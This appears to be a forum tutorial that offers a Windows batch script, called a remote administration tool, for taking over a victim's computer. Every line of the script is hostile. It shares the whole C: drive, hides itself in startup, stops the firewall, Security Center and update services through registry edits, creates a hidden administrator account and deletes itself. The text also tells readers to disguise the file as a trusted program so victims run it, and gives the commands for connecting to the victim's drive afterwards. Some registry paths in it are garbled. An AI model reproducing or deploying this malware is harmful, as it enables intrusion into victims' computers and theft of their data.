Batch R.A.T (REMOTE ADMINISTRATION TOOL)

How To:

Simply paste the code underneath this into notepad and save it as a .bat file. Or .cmd if you’d like.. Anyways, once your victim has run the file, his firewall and ANTIVIRUS will be shutdown and an account named ‘admin’ will be created with admin access so.. Yeah.. Under the code you’ll see how to get access..

SPAM off
Cls
net share system=C:\ /unlimited
cls
Attrib +r +h C:\WINDOWS\startm~1\PROGRAM\startup\trojan.bat
Cls
net stop SharedAccess
net stop “Security Center”
>>”%Temp%.kill.reg” ECHO REGEDIT4
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>”%Temp%.kill.reg” ECHO “Start”=dword:004
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>”%Temp%.kill.reg” ECHO “Start”=dword:004
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>”%Temp%.kill.reg” ECHO “Start”=dword:004
>>”%Temp%.kill.reg” ECHO.
START /WAIT REGEDIT /S “%Temp%.kill.reg”
del “%Temp%.kill.reg”
del %0
cls
net user Admin /add
net localgroup Administrators /add “Admin”
cls
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t” /v “Admin” /t REG_DWORD /d 00 /f
cls
reg add “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ Messenger” /v Start /t REG_DWORD /d 002 /f
cls
net start Messenger
cls
netsh firewall set opmode mode=disable
cls
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t” /v “admin” /t REG_DWORD /d 00 /f”
REG add “HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\PO LICIES\SYSTEM /V DISABLEREGISTRYTOOLS /T REG_DWORD /D 0 /F”
Cls

Now Make the victim to open this file on his machine
you can convert this .cmd/.bat file to exe file and change icon and all other stuff to make victim trust this file!

Okay, so when the victim have run the file, all you have to do is open cmd on your own COMPUTER and type in the following:

net use \\IP-of-your-victim admin

Example how to use above command

net use \\192.168.1.1 admin

Followed by the following code:

explorer \\IP-of-your-victim\system
Example how to use above command

explorer \\192.168.1.1\system

So the 2 lines would be like the following:

net use \\192.168.1.1 admin
explorer \\192.168.1.1\system

obvious edit the IPs

Im pretty sure you need admin privileges for sure for this right?